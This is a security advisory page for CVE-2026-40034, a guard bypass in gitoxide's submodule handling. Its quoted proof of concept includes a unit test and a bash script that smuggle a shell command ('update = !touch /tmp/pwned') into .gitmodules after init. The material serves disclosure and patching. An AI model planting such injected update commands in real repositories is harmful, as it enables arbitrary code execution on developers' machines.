CVE-2026-40034: gitoxide CommandForbiddenInModulesConfiguration Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-f26g-jm89-4g65
CVSS 7.8
CWE-183 CWE-349 CWE-501 CWE-77
Published
Advisory Summary

CVE-2026-40034 is a HIGH (CVSS 7.8) commandforbiddeninmodulesconfiguration bypass vulnerability (CWE-183: Permissive List of Allowed Inputs) affecting gitoxide libraries in the crates.io ecosystem. The issue involves commandforbiddeninmodulesconfiguration bypass in gix_submodule::file::update() enables arbitrary command execution via .gitmodules. Remediation is available by upgrading affected packages to version 0.83.0.

CVE-2026-40034 at a Glance

CVE Identifier CVE-2026-40034
GHSA Identifier GHSA-f26g-jm89-4g65
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-183: Permissive List of Allowed Inputs
Affected Product gitoxide
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-40034

To remediate this vulnerability, upgrade all affected gitoxide dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

gix fixed: 0.83.0
Upgrade gix to 0.83.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for gix

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40034, inspect your project dependencies for gitoxide:

inspect dependencies for gix

Analyze the terminal output to locate any version of gitoxide in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.83.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-183: Permissive List of Allowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses. In gitoxide, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary [`gix_submodule::File::update()`](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168) is the API that gates whether an attacker-supplied `.gitmodules` file may set `update = !<shell command>`. The function is designed to return `Err(CommandForbiddenInModulesConfiguration)` unless the `!command` value came from a trusted local source (`.git/config`). Git CVE [CVE-2019-19604](https://nvd.nist.gov/vuln/detail/cve-2019-19604) illustrates why this check is necessary. However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-`.gitmodules` source; it does not verify that the `update` value came from that section. Once a submodule has been initialized (any workflow that writes `submodule.<name>.url` to `.git/config`), and the attacker subsequently adds `update = !cmd` to `.gitmodules`, the guard passes while the command value falls through to the attacker-controlled file. On an identical repository state, `git submodule update` aborts with `fatal: invalid value for 'submodule.sub.update'`, while `gix::Submodule::update()` returns `Ok(Some(Update::Command("touch /tmp/pwned")))`. The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0. ### Details The vulnerable method is `gix_submodule::File::update`: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193: ```rust pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> { let value: Update = match self.config.string(format!("submodule.{name}.update")) { // ^^^^^^^^^^^^^^^^^^ // [A] Reads the value. gix_config::File::string() iterates sections // newest-to-oldest; if the override section lacks `update`, it // falls through to .gitmodules and returns the attacker value. // // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76 Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid { submodule: name.to_owned(), actual: v.into_owned(), })?, None => return Ok(None), }; if let Update::Command(cmd) = &value { let ours = self.config.meta(); let has_value_from_foreign_section = self .config .sections_by_name("submodule") .into_iter() .flatten() .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // [B] Checks only that SOME section with this name exists from a // non-.gitmodules source. Does NOT check where [A]'s value // came from. if !has_value_from_foreign_section { return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... }); } } Ok(Some(value)) } ``` ### PoC `git submodule init` copies `submodule.$name.url` and writes `active = true` into `.git/config` ([`init_submodule()`, builtin/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). It does not unconditionally copy `update`. Since CVE-2019-19604, `git` rejects `.gitmodules` files that contain `update = !cmd` at parse time. However, `init` is a one-time operation - once the `.git/config` section exists, subsequent changes to `.gitmodules` are not re-inited. So, the attack sequence is: 1. Attacker's repo ships a benign `.gitmodules` (no `update` key). 2. Victim clones and runs `git submodule init` -> `.git/config` contains: ```ini [submodule "sub"] active = true url = /tmp/sub-origin ``` 3. Attacker pushes a new commit adding `update = !cmd` to `.gitmodules`. 4. Victim runs `git pull` -> `.gitmodules` now contains: ```ini [submodule "sub"] path = sub url = /tmp/sub-origin update = !touch /tmp/pwned ``` while `.git/config` is unchanged. This is the precise state that bypasses gitoxide's guard: - The .git/config entry - even though it contains only url and active - causes [`append_submodule_overrides`](https://github.com/GitoxideLabs/gitoxide/blob/dd5c18d9e526e8de462fa40aa047acd097cfa7dc/gix-submodule/src/lib.rs#L41) to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed. - However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned. The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A]. Git itself would refuse to operate on this repository at the next `git submodule update`. The vulnerability is in gitoxide-based consumers that call `Submodule::update()` and trust its output. ### Option 1: Unit test (verified - passes, confirming the bug) Drop into `gix-submodule/tests/file/mod.rs` inside `mod update`: ```rust #[test] fn security_bypass_via_partial_override() { use std::str::FromStr; // Attacker-controlled .gitmodules let gitmodules = "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned"; // Post-`git submodule init` state: only `url` copied to .git/config let repo_config = gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap(); let module = gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap(); let result = module.update("a".into()); // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))` // SECURE: should be `Err(CommandForbiddenInModulesConfiguration { .. })` eprintln!("{:?}", result); } ``` ```console $ cargo test -p gix-submodule security_bypass -- --nocapture running 1 test bypass result: Ok(Some(Command("touch /tmp/pwned"))) test file::update::security_bypass_via_partial_override ... ok ``` ### Option 2: End-to-end - git refuses, gitoxide accepts Verified with **git 2.51.2** and **gix @ `dd5c18d9e`**. ```bash #!/bin/bash set -e cd /tmp rm -rf evil-repo victim sub-origin 2>/dev/null || true # --- Setup --- mkdir sub-origin && cd sub-origin git init -q && git commit -q --allow-empty -m init cd /tmp # --- [1] Attacker creates repo with BENIGN submodule --- mkdir evil-repo && cd evil-repo git init -q git -c protocol.file.allow=always submodule add /tmp/sub-origin sub git commit -q -m "add submodule (benign)" cd /tmp # --- [2] Victim clones and inits (passes git's .gitmodules validation) --- git -c protocol.file.allow=always clone -q /tmp/evil-repo victim cd victim git submodule init # .git/config now has: [submodule "sub"] active=true, url=..., NO update key cd /tmp # --- [3] Attacker adds malicious update to .gitmodules --- cd evil-repo cat >> .gitmodules <<'EOF' update = !touch /tmp/pwned EOF git commit -q -am "add malicious update" cd /tmp # --- [4] Victim pulls --- cd victim git pull -q ``` Final state: ``` --- .gitmodules: [submodule "sub"] path = sub url = /tmp/sub-origin update = !touch /tmp/pwned --- .git/config (submodule section): [submodule "sub"] active = true url = /tmp/sub-origin ``` **Upstream git on this state:** ```console $ cd /tmp/victim && git submodule update fatal: invalid value for 'submodule.sub.update' $ echo $? 128 $ test -f /tmp/pwned && echo VULNERABLE || echo SAFE SAFE ``` **Gitoxide on the same state:** ```rust // /tmp/gix-repro/main.rs let repo = gix::open("/tmp/victim")?; for sm in repo.submodules()?.expect("submodules present") { println!("{}: {:?}", sm.name(), sm.update()); } ``` ```console $ cargo run sub: Ok(Some(Command("touch /tmp/pwned"))) ``` The `CommandForbiddenInModulesConfiguration` guard never fires. ### Impact ### Direct Any downstream code built on `gix` that: 1. Calls `Submodule::update()` to determine the update strategy, and 2. Trusts that `Update::Command(_)` is safe to execute (because `CommandForbiddenInModulesConfiguration` exists as the documented guard) …will execute attacker-controlled shell commands on `submodule update` against a previously-initialized submodule. `gix` itself does not currently ship a `submodule update` implementation, so there is no RCE in the `gix` CLI today. However: - The `Submodule::update()` API is public at `gix/src/submodule/mod.rs:108` and delegates directly to the vulnerable function. - The error variant name (`CommandForbiddenInModulesConfiguration`) and test suite (`valid_in_overrides` at `gix-submodule/tests/file/mod.rs:272`) explicitly document this as the security boundary. - Any third-party tool, IDE plugin, or CI integration building submodule-update on top of `gix` inherits this vulnerability. ### Indirect / second-order - CI/forge integrations that auto-init submodules and then query the update mode - Editor/IDE extensions using `gix` for submodule info - Gitoxide-based `init` equivalents - any tool that implements its own init (writing `url` to local config) creates the bypass state without needing the pull-after-init sequence

CVE-2026-40034 Affected gitoxide Versions

1 component(s)
Fixed Versions:
0.83.0
Product / Package Ecosystem Affected Versions Fixed Version
gix
crates.io
≥ 0.31.0
< 0.83.0
0.83.0

References

Frequently Asked Questions

What is CVE-2026-40034?
CVE-2026-40034 is a security vulnerability in gitoxide involving CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules under CWE-183: Permissive List of Allowed Inputs.
Which gitoxide versions are affected?
Affected versions include releases prior to 0.83.0 across affected packages: gix.
What version fixes CVE-2026-40034?
Upgrading to 0.83.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is gix affected?
Yes, gix is affected in releases prior to 0.83.0. Upgrade your dependency to 0.83.0 or later.
What is the CVSS score of CVE-2026-40034?
CVE-2026-40034 has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-40034?
CVE-2026-40034 is classified under CWE-183: Permissive List of Allowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.).
How can I check crates.io dependencies for CVE-2026-40034?
Run the dependency tree command: 'inspect dependencies for gix'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f26g-jm89-4g65",
  "modified" : "2026-06-30T17:41:01Z",
  "published" : "2026-05-05T19:23:45Z",
  "aliases" : [ "CVE-2026-40034" ],
  "summary" : "gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules",
  "details" : "### Summary\n\n[`gix_submodule::File::update()`](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168) is the API that gates whether an attacker-supplied `.gitmodules` file may set `update = !<shell command>`. The function is designed to return `Err(CommandForbiddenInModulesConfiguration)` unless the `!command` value came from a trusted local source (`.git/config`). Git CVE [CVE-2019-19604](https://nvd.nist.gov/vuln/detail/cve-2019-19604) illustrates why this check is necessary.\n\nHowever, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-`.gitmodules` source; it does not verify that the `update` value came from that section.\n\nOnce a submodule has been initialized (any workflow that writes `submodule.<name>.url` to `.git/config`), and the attacker subsequently adds `update = !cmd` to `.gitmodules`, the guard passes while the command value falls through to the attacker-controlled file.\n\nOn an identical repository state, `git submodule update` aborts with `fatal: invalid value for 'submodule.sub.update'`, while `gix::Submodule::update()` returns `Ok(Some(Update::Command(\"touch /tmp/pwned\")))`.\n\nThe vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.\n\n### Details\n\nThe vulnerable method is `gix_submodule::File::update`: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:\n\n```rust\npub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {\n    let value: Update = match self.config.string(format!(\"submodule.{name}.update\")) {\n        //                    ^^^^^^^^^^^^^^^^^^\n        //  [A] Reads the value. gix_config::File::string() iterates sections\n        //      newest-to-oldest; if the override section lacks `update`, it\n        //      falls through to .gitmodules and returns the attacker value.\n        //\n        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76\n        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {\n            submodule: name.to_owned(),\n            actual: v.into_owned(),\n        })?,\n        None => return Ok(None),\n    };\n\n    if let Update::Command(cmd) = &value {\n        let ours = self.config.meta();\n        let has_value_from_foreign_section = self\n            .config\n            .sections_by_name(\"submodule\")\n            .into_iter()\n            .flatten()\n            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));\n            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n            //  [B] Checks only that SOME section with this name exists from a\n            //      non-.gitmodules source. Does NOT check where [A]'s value\n            //      came from.\n        if !has_value_from_foreign_section {\n            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });\n        }\n    }\n    Ok(Some(value))\n}\n```\n\n### PoC\n\n`git submodule init` copies `submodule.$name.url` and writes `active = true` into `.git/config` ([`init_submodule()`, builtin/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). It does not unconditionally copy `update`.\n\nSince CVE-2019-19604, `git` rejects `.gitmodules` files that contain `update = !cmd` at parse time. However, `init` is a one-time operation - once the `.git/config` section exists, subsequent changes to `.gitmodules` are not re-inited.\n\nSo, the attack sequence is:\n\n1. Attacker's repo ships a benign `.gitmodules` (no `update` key).\n2. Victim clones and runs `git submodule init` -> `.git/config` contains:\n   ```ini\n   [submodule \"sub\"]\n       active = true\n       url = /tmp/sub-origin\n   ```\n3. Attacker pushes a new commit adding `update = !cmd` to `.gitmodules`.\n4. Victim runs `git pull` -> `.gitmodules` now contains:\n   ```ini\n   [submodule \"sub\"]\n       path = sub\n       url = /tmp/sub-origin\n       update = !touch /tmp/pwned\n   ```\n   while `.git/config` is unchanged.\n\nThis is the precise state that bypasses gitoxide's guard:\n- The .git/config entry - even though it contains only url and active - causes [`append_submodule_overrides`](https://github.com/GitoxideLabs/gitoxide/blob/dd5c18d9e526e8de462fa40aa047acd097cfa7dc/gix-submodule/src/lib.rs#L41) to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.\n- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.\n\nThe bug is the mismatch between what [A] and [B] actually inspect: [A] asks \"which section provides the update value?\" (answer: .gitmodules), while [B] asks \"does any trusted section exist for this submodule?\" (answer: yes). A correct guard would ask the same question as [A].\n\nGit itself would refuse to operate on this repository at the next `git submodule update`. The vulnerability is in gitoxide-based consumers that call `Submodule::update()` and trust its output.\n\n### Option 1: Unit test (verified - passes, confirming the bug)\n\nDrop into `gix-submodule/tests/file/mod.rs` inside `mod update`:\n\n```rust\n#[test]\nfn security_bypass_via_partial_override() {\n    use std::str::FromStr;\n\n    // Attacker-controlled .gitmodules\n    let gitmodules =\n        \"[submodule.a]\\n url = https://example.com/a\\n update = !touch /tmp/pwned\";\n\n    // Post-`git submodule init` state: only `url` copied to .git/config\n    let repo_config =\n        gix_config::File::from_str(\"[submodule.a]\\n url = https://example.com/a\").unwrap();\n\n    let module =\n        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();\n\n    let result = module.update(\"a\".into());\n    // VULNERABLE: prints `Ok(Some(Command(\"touch /tmp/pwned\")))`\n    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`\n    eprintln!(\"{:?}\", result);\n}\n```\n\n```console\n$ cargo test -p gix-submodule security_bypass -- --nocapture\nrunning 1 test\nbypass result: Ok(Some(Command(\"touch /tmp/pwned\")))\ntest file::update::security_bypass_via_partial_override ... ok\n```\n\n### Option 2: End-to-end - git refuses, gitoxide accepts\n\nVerified with **git 2.51.2** and **gix @ `dd5c18d9e`**.\n\n```bash\n#!/bin/bash\nset -e\ncd /tmp\nrm -rf evil-repo victim sub-origin 2>/dev/null || true\n\n# --- Setup ---\nmkdir sub-origin && cd sub-origin\ngit init -q && git commit -q --allow-empty -m init\ncd /tmp\n\n# --- [1] Attacker creates repo with BENIGN submodule ---\nmkdir evil-repo && cd evil-repo\ngit init -q\ngit -c protocol.file.allow=always submodule add /tmp/sub-origin sub\ngit commit -q -m \"add submodule (benign)\"\ncd /tmp\n\n# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---\ngit -c protocol.file.allow=always clone -q /tmp/evil-repo victim\ncd victim\ngit submodule init\n# .git/config now has: [submodule \"sub\"] active=true, url=..., NO update key\ncd /tmp\n\n# --- [3] Attacker adds malicious update to .gitmodules ---\ncd evil-repo\ncat >> .gitmodules <<'EOF'\n\tupdate = !touch /tmp/pwned\nEOF\ngit commit -q -am \"add malicious update\"\ncd /tmp\n\n# --- [4] Victim pulls ---\ncd victim\ngit pull -q\n```\n\nFinal state:\n```\n--- .gitmodules:\n[submodule \"sub\"]\n        path = sub\n        url = /tmp/sub-origin\n        update = !touch /tmp/pwned\n--- .git/config (submodule section):\n[submodule \"sub\"]\n        active = true\n        url = /tmp/sub-origin\n```\n\n**Upstream git on this state:**\n```console\n$ cd /tmp/victim && git submodule update\nfatal: invalid value for 'submodule.sub.update'\n$ echo $?\n128\n$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE\nSAFE\n```\n\n**Gitoxide on the same state:**\n```rust\n// /tmp/gix-repro/main.rs\nlet repo = gix::open(\"/tmp/victim\")?;\nfor sm in repo.submodules()?.expect(\"submodules present\") {\n    println!(\"{}: {:?}\", sm.name(), sm.update());\n}\n```\n```console\n$ cargo run\nsub: Ok(Some(Command(\"touch /tmp/pwned\")))\n```\n\nThe `CommandForbiddenInModulesConfiguration` guard never fires.\n\n### Impact\n\n### Direct\n\nAny downstream code built on `gix` that:\n1. Calls `Submodule::update()` to determine the update strategy, and\n2. Trusts that `Update::Command(_)` is safe to execute (because `CommandForbiddenInModulesConfiguration` exists as the documented guard)\n\n…will execute attacker-controlled shell commands on `submodule update` against a previously-initialized submodule.\n\n`gix` itself does not currently ship a `submodule update` implementation, so there is no RCE in the `gix` CLI today. However:\n\n- The `Submodule::update()` API is public at `gix/src/submodule/mod.rs:108` and delegates directly to the vulnerable function.\n- The error variant name (`CommandForbiddenInModulesConfiguration`) and test suite (`valid_in_overrides` at `gix-submodule/tests/file/mod.rs:272`) explicitly document this as the security boundary.\n- Any third-party tool, IDE plugin, or CI integration building submodule-update on top of `gix` inherits this vulnerability.\n\n### Indirect / second-order\n\n- CI/forge integrations that auto-init submodules and then query the update mode\n- Editor/IDE extensions using `gix` for submodule info\n- Gitoxide-based `init` equivalents - any tool that implements its own init (writing `url` to local config) creates the bypass state without needing the pull-after-init sequence",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "gix"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.31.0"
      }, {
        "fixed" : "0.83.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40034"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/GitoxideLabs/gitoxide"
  }, {
    "type" : "WEB",
    "url" : "https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-183", "CWE-349", "CWE-501", "CWE-77" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T19:23:45Z",
    "nvd_published_at" : null
  }
}